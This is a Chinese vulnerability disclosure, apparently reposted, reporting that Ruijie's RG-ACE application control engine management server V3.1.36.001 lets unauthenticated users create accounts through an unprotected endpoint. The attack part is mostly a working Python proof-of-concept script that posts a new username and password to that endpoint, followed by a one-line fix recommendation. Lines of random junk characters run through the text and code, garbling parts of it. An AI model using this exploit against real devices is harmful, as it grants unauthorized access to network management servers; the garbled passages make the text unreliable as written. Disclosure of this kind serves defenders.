锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
  |5 ]7 s: Z' o7 h/ r& M( p

5 @  V1 W9 ^$ b0 i' q9 C; S测试的具体版本是
# W, ^- G5 i' y# B! Z产品名称: 锐捷应用控制引擎
7 X# C# \( K3 _1 }: \版本号: 3.1.36.001 TC
编译时间: 201104291730
7 q1 r# |8 M. L) }

) ~* ]0 ^, y( C# R) t5 {漏洞证明：


9 s6 A- M1 k3 n: ?) \) f- F" {1 z1 H
# ^3 j- E) V* x
  F6 h. i4 Q7 {. ^/ G9 C7 l
. X5 D  r  g0 n# p  ?
执行脚本
- }" q: Y$ F) e, U/ U) c#! /usr/bin/env python
#coding=gbk
. r# _! t& D/ k' a! ^8 y#RG-ACE管理服务器 V3.1.36.001
5 h. Y9 X; P- X: {8 himport urllib2, urllib,cookielib
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
( B5 w1 `8 J: d. Kopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
6 Z, T1 q) K6 s("useractionname","addButtonValue"),
("useropermanager","userManager"),
" l" b2 ^( \, |5 r3 n8 @. K("userName","t"), #######账号自己加
& W9 i) N4 x, b, w. i("pwd","aaaaaa"),######密码自己加
' d% r/ Y2 }& F2 h# m6 h) ~("trueName","ad"),
; Q, w* c4 Q2 ]4 f/ N6 v+ p, K& T3 A0 A) J("email",""),
5 h& s: K  S4 m/ J& Q("mobilePhone",""),
("officePhone",""),
("addr",""),
("submit","确定"))
, ~& ~2 c* Z" E* F  i4 Rurllib2.install_opener(opener)
* g9 T7 M0 N( T- hp=urllib2.urlopen(url, urllib.urlencode(post)).read()
print "Done"

- n" L0 Q/ c6 z5 G, }. ^登录，连接设备





+ G8 Q! O& A$ o! s/ J* `  o6 I( N% v$ k默认的管理员admin权限更大点
+ G3 X4 Z  w* ~" i, U

" y) J# y2 z1 b( w

9 c0 G4 E; C2 L, B
* I7 [+ p* v1 x/ H6 `修复方案：
加强对接口的权限验证
) ?3 U! {* W* @, j8 o+ b( j